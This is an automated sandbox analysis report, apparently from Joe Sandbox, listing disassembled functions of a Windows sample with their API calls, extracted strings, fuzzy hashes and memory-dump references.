Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 97f5b6ac5880c7a9c23156c82bb810a0581617701c6eb053d980895b06a0684a
Instruction ID: e84d1ee2c240ca9e514bce230c3ac318a71878f39679f3d13464842d4fe44adc
Opcode Fuzzy Hash: 97f5b6ac5880c7a9c23156c82bb810a0581617701c6eb053d980895b06a0684a
Instruction Fuzzy Hash: BCF01DB2140258BBE6226752DC0EEBB7A7CEFCAB11F008158F642E119196E85A0186B9

Function 00727439 Relevance: 9.0, APIs: 6, Instructions: 37windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 00727452
SendMessageW.USER32(?,00001328,00000000,?), ref: 00727469
GetWindowDC.USER32(?), ref: 00727475
GetPixel.GDI32(00000000,?,?), ref: 00727484
ReleaseDC.USER32(?,00000000), ref: 00727496
GetSysColor.USER32(00000005), ref: 007274B0

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ClientColorMessagePixelRectReleaseSendWindow
String ID:
API String ID: 272304278-0
Opcode ID: 56e8d662c2ec022928b0fc2c3a009533f9be6e994307af506aef4df51e9a94cc
Instruction ID: dcf92beec899307d520581f1c77654c3c05a388ef2c6bbd20112727ae290b071
Opcode Fuzzy Hash: 56e8d662c2ec022928b0fc2c3a009533f9be6e994307af506aef4df51e9a94cc
Instruction Fuzzy Hash: D801AD31400355EFEB126FA4EC08BBA7BB5FF04311F608060F956A21A1CB791E51EB54

Function 00731874 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 0073187F
UnloadUserProfile.USERENV(?,?), ref: 0073188B
CloseHandle.KERNEL32(?), ref: 00731894
CloseHandle.KERNEL32(?), ref: 0073189C
GetProcessHeap.KERNEL32(00000000,?), ref: 007318A5
HeapFree.KERNEL32(00000000), ref: 007318AC

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: c1923dbc58f787326767a73917f90bf901ac767ab05dcdeec0e15f16198bfdc0
Instruction ID: 141c59215779c5d4788b32c57112b7e50769a73c984b7c135b9074fcd14691a2
Opcode Fuzzy Hash: c1923dbc58f787326767a73917f90bf901ac767ab05dcdeec0e15f16198bfdc0
Instruction Fuzzy Hash: D1E0ED76004205BBDB026FA2ED0C915BF39FF4A722710C221F26691170CBB65420DF64

Function 006DBBE0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 232COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 006DBEB3

Strings

D%z, xrefs: 006DBDED, 006DBD91, 006DBD1B
D%z, xrefs: 006DBE9A
D%z, xrefs: 006DBCA2
D%zD%z, xrefs: 006DBCA5

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Init_thread_footer
String ID: D%z$D%z$D%z$D%zD%z
API String ID: 1385522511-3299656855
Opcode ID: 1820b6924b1cda8e42478be900116b557a273e6a701fc6d5d1c3541a110da116
Instruction ID: 76cdcd034df3da95fbb41347c63be535bc09ddb897b6cc40f19f547912ba22df
Opcode Fuzzy Hash: 1820b6924b1cda8e42478be900116b557a273e6a701fc6d5d1c3541a110da116
Instruction Fuzzy Hash: 69913975E0020ACFCB18CF59C0906A9B7F2FF99310B25916ED945AB355E731E982CB90

Function 00757B7E Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 006F0242: EnterCriticalSection.KERNEL32(007A070C,007A1884,?,?,006E198B,007A2518,?,?,?,006D12F9,00000000), ref: 006F024D
Part of subcall function 006F0242: LeaveCriticalSection.KERNEL32(007A070C,?,006E198B,007A2518,?,?,?,006D12F9,00000000), ref: 006F028A

Part of subcall function 006D9CB3: _wcslen.LIBCMT ref: 006D9CBD

Part of subcall function 006F00A3: __onexit.LIBCMT ref: 006F00A9

__Init_thread_footer.LIBCMT ref: 00757BFB

Part of subcall function 006F01F8: EnterCriticalSection.KERNEL32(007A070C,?,?,006E8747,007A2514), ref: 006F0202
Part of subcall function 006F01F8: LeaveCriticalSection.KERNEL32(007A070C,?,006E8747,007A2514), ref: 006F0235

Strings

Variable must be of type 'Object'., xrefs: 00757C3A
+Tr, xrefs: 00757E2E
G, xrefs: 00757C7F
5, xrefs: 00757C78

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer__onexit_wcslen
String ID: +Tr$5$G$Variable must be of type 'Object'.
API String ID: 535116098-3922178991
Opcode ID: 0854f99a450e2d71757cd8f558c412b4f6020a085e3a82e677368634d6cc63e7
Instruction ID: 2206e359d11c50ddeb99546b003d16ca6d0b0d8ef8046fee7470b2ae0cee4b54
Opcode Fuzzy Hash: 0854f99a450e2d71757cd8f558c412b4f6020a085e3a82e677368634d6cc63e7
Instruction Fuzzy Hash: 33916E70A04209EFCB08EF54E8959FDB7B6BF45301F108059FC069B292DBB9AE49CB51

Function 0073C5D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 006D7620: _wcslen.LIBCMT ref: 006D7625

GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0073C6EE
_wcslen.LIBCMT ref: 0073C735
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0073C79C
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 0073C7CA

Strings

0, xrefs: 0073C6AF

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default
String ID: 0
API String ID: 1227352736-4108050209
Opcode ID: 59dfcd48fa876ac005c23a0aba2189b083c1abbeb38f14573035949fb732ae67
Instruction ID: e5643bfa15046385d4a978f1d28c96324a376140dacba306339e2fa206df9a4f
Opcode Fuzzy Hash: 59dfcd48fa876ac005c23a0aba2189b083c1abbeb38f14573035949fb732ae67
Instruction Fuzzy Hash: 4751E2726043409BF7529F28C885B6B77E8AF89310F040A2DF996F31A2DB78DD04CB56

Function 0075AD64 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 0075AEA3

Part of subcall function 006D7620: _wcslen.LIBCMT ref: 006D7625

GetProcessId.KERNEL32(00000000), ref: 0075AF38
CloseHandle.KERNEL32(00000000), ref: 0075AF67

Strings

@, xrefs: 0075AE72
<, xrefs: 0075AE6B

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CloseExecuteHandleProcessShell_wcslen
String ID: <$@
API String ID: 146682121-1426351568
Opcode ID: c1b7368c736839eaabeb92469f130d4b519100d62addbaf9cd4a0ac1d4f944bb
Instruction ID: b2ca69c7a6418ea6f542347675365c20de0372fe578b24fc5c439158ad828611
Opcode Fuzzy Hash: c1b7368c736839eaabeb92469f130d4b519100d62addbaf9cd4a0ac1d4f944bb
Instruction Fuzzy Hash: 18715971A00219DFCB14DF54D485A9EBBF1BF08310F0485AEE816AB392DB74ED45CB95

Function 0073719E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00737206
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 0073723C
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 0073724D
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 007372CF

Strings

DllGetClassObject, xrefs: 00737242

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 8fae348152053146573f0432cfc1cf529a9a94566f8e5d63617a85e3d866545e
Instruction ID: c411d1eb9db18e9f20f84f30a2d6589b7704a4370115330de7fa7a5e61e04184
Opcode Fuzzy Hash: 8fae348152053146573f0432cfc1cf529a9a94566f8e5d63617a85e3d866545e
Instruction Fuzzy Hash: E5411DF2604205DFEB29CF54C884A9B7BB9FF49310F1580A9BD059F20AD7B9D944DBA0

Function 00762F17 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00762F8D
LoadLibraryW.KERNEL32(?), ref: 00762F94
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00762FA9
DestroyWindow.USER32(?), ref: 00762FB1

Strings

SysAnimate32, xrefs: 00762F68

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: MessageSend$DestroyLibraryLoadWindow
String ID: SysAnimate32
API String ID: 3529120543-1011021900
Opcode ID: 0eebaf71a50527c5f26ccc9d03f3d60966a4ab20ceea4e55203df512bd9c4897
Instruction ID: adec3db30a13d66e342eb2a37a270546e534539d3a460560a75e3227ef2b74ea
Opcode Fuzzy Hash: 0eebaf71a50527c5f26ccc9d03f3d60966a4ab20ceea4e55203df512bd9c4897
Instruction Fuzzy Hash: 7621DE71204605ABEB514FA4DC80EFB37B9EF59364F108618FE52D61A1C7B9DC429B60

Function 006F4D6D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,006F4D1E,007028E9,?,006F4CBE,007028E9,007988B8,0000000C,006F4E15,007028E9,00000002), ref: 006F4D8D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 006F4DA0
FreeLibrary.KERNEL32(00000000,?,?,?,006F4D1E,007028E9,?,006F4CBE,007028E9,007988B8,0000000C,006F4E15,007028E9,00000002,00000000), ref: 006F4DC3

Strings

CorExitProcess, xrefs: 006F4D98
mscoree.dll, xrefs: 006F4D86

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: a049f690f4cbf51a17be44465992fd00fb22dc04e0f73f63edc27ef81d521838
Instruction ID: 258562cd605416a438d072dd977abc58dd594bffcc21d92d8f0b54901819460e
Opcode Fuzzy Hash: a049f690f4cbf51a17be44465992fd00fb22dc04e0f73f63edc27ef81d521838
Instruction Fuzzy Hash: 71F0813050020CABDB159B94DC09BFEBBA5EF44751F004095E90AA2650DB745D40CAD4

Function 0072D3A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0072D3AD
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0072D3BF
FreeLibrary.KERNEL32(00000000), ref: 0072D3E5

Strings

X64, xrefs: 0072D2A8
GetSystemWow64DirectoryW, xrefs: 0072D3B9

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: GetSystemWow64DirectoryW$X64
API String ID: 145871493-2590602151
Opcode ID: 82e93b54213b02991a579f62d4f93873eb9722f67e68129a711be70db5532b82
Instruction ID: f08101681890dacfcaccd71e2aff04959e5da7f0330e2420a7c3307487db59af
Opcode Fuzzy Hash: 82e93b54213b02991a579f62d4f93873eb9722f67e68129a711be70db5532b82
Instruction Fuzzy Hash: A1F055B0802730CBE736AB11EC189BD7351BF02701F68C196F843E1002DB6CCE408687

Function 006D4E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,006D4EDD,?,007A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 006D4E9C
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 006D4EAE
FreeLibrary.KERNEL32(00000000,?,?,006D4EDD,?,007A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 006D4EC0

Strings

Wow64DisableWow64FsRedirection, xrefs: 006D4EA8
kernel32.dll, xrefs: 006D4E94

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 145871493-3689287502
Opcode ID: 9d5ce33633201b8f879a8db36e3ca157817e20daa987039bf88cb54275b40043
Instruction ID: 0f5f9f2ec540540f642a2e679f1964a5c1bae3f48832e1a6788cdcc52f817ce8
Opcode Fuzzy Hash: 9d5ce33633201b8f879a8db36e3ca157817e20daa987039bf88cb54275b40043
Instruction Fuzzy Hash: 18E0CD75E017226BD23317257C18BBF7755AF82F627094116FC46D2300DFB8CD0140A4

Function 006D4E59 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00713CDE,?,007A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 006D4E62
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 006D4E74
FreeLibrary.KERNEL32(00000000,?,?,00713CDE,?,007A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 006D4E87

Strings

Wow64RevertWow64FsRedirection, xrefs: 006D4E6E
kernel32.dll, xrefs: 006D4E5B

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 145871493-1355242751
Opcode ID: 659d644e2e34fd384737fe50803d7a64dc8530789483f8d4ce3e1997e85353df
Instruction ID: 1e287c962f316968d2365e3f51110a7c30c07a87d38941802b722ec1666283b7
Opcode Fuzzy Hash: 659d644e2e34fd384737fe50803d7a64dc8530789483f8d4ce3e1997e85353df
Instruction Fuzzy Hash: 92D0C271902761674A231B24BC08DEB3B1AAFC6B513054212F846A2310CFB8CD0181D4

Function 0075A387 Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 0075A427
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0075A435
GetProcessIoCounters.KERNEL32(00000000,?), ref: 0075A468
CloseHandle.KERNEL32(?), ref: 0075A63D

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: 49fb00e88d3e66cb24ea3d85d9bedd10df30d1bc6a6037cd988eb96f26e84563
Instruction ID: 5b76c2fdd5220a04bbe4d7147e2f0f6785f7009a9cc21663cc82b71276b17e58
Opcode Fuzzy Hash: 49fb00e88d3e66cb24ea3d85d9bedd10df30d1bc6a6037cd988eb96f26e84563
Instruction Fuzzy Hash: C8A1B071604301AFD760DF24C882F6AB7E6AF84714F14891DF99A9B392D7B4EC44CB86

Function 0070BB27 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00773700), ref: 0070BB91
WideCharToMultiByte.KERNEL32(00000000,00000000,007A121C,000000FF,00000000,0000003F,00000000,?,?), ref: 0070BC09
WideCharToMultiByte.KERNEL32(00000000,00000000,007A1270,000000FF,?,0000003F,00000000,?), ref: 0070BC36
_free.LIBCMT ref: 0070BB7F

Part of subcall function 007029C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0070D7D1,00000000,00000000,00000000,00000000,?,0070D7F8,00000000,00000007,00000000,?,0070DBF5,00000000), ref: 007029DE
Part of subcall function 007029C8: GetLastError.KERNEL32(00000000,?,0070D7D1,00000000,00000000,00000000,00000000,?,0070D7F8,00000000,00000007,00000000,?,0070DBF5,00000000,00000000), ref: 007029F0

_free.LIBCMT ref: 0070BD4B

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 1286116820-0
Opcode ID: 7c7d7ddf5236eaf70b0799f9a9f70dbe2c4ac6f29027a869e3926a9fad197ab8
Instruction ID: 872fe7b4f56e26affa0f48dd98180a6c4461752e70c652df0ef9cc4b7f8ad31a
Opcode Fuzzy Hash: 7c7d7ddf5236eaf70b0799f9a9f70dbe2c4ac6f29027a869e3926a9fad197ab8
Instruction Fuzzy Hash: 79510571900209EFEB10EF659C85AAAB7F8FF81350F50436AE450D72E1EB789F418B64

Function 0073E3FB Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0073DDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,0073CF22,?), ref: 0073DDFD

Part of subcall function 0073DDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,0073CF22,?), ref: 0073DE16

Part of subcall function 0073E199: GetFileAttributesW.KERNEL32(?,0073CF95), ref: 0073E19A

lstrcmpiW.KERNEL32(?,?), ref: 0073E473
MoveFileW.KERNEL32(?,?), ref: 0073E4AC
_wcslen.LIBCMT ref: 0073E5EB
_wcslen.LIBCMT ref: 0073E603
SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 0073E650

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 3183298772-0
Opcode ID: 2d7df6fed0f53378a84d9ff7156ea17c4e90b5152516c5bc573669ba4461a812
Instruction ID: 02cbf1f3057567ad04ac310bbafe162ade73db8a0de28b8cde86948f88b225c5
Opcode Fuzzy Hash: 2d7df6fed0f53378a84d9ff7156ea17c4e90b5152516c5bc573669ba4461a812
Instruction Fuzzy Hash: 655185B25083859BD764DB90DC819DF77ED9F84340F00491EF6C9D3192EF78A588876A

Function 0075B9C9 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 006D9CB3: _wcslen.LIBCMT ref: 006D9CBD

Part of subcall function 0075C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0075B6AE,?,?), ref: 0075C9B5
Part of subcall function 0075C998: _wcslen.LIBCMT ref: 0075C9F1
Part of subcall function 0075C998: _wcslen.LIBCMT ref: 0075CA68
Part of subcall function 0075C998: _wcslen.LIBCMT ref: 0075CA9E

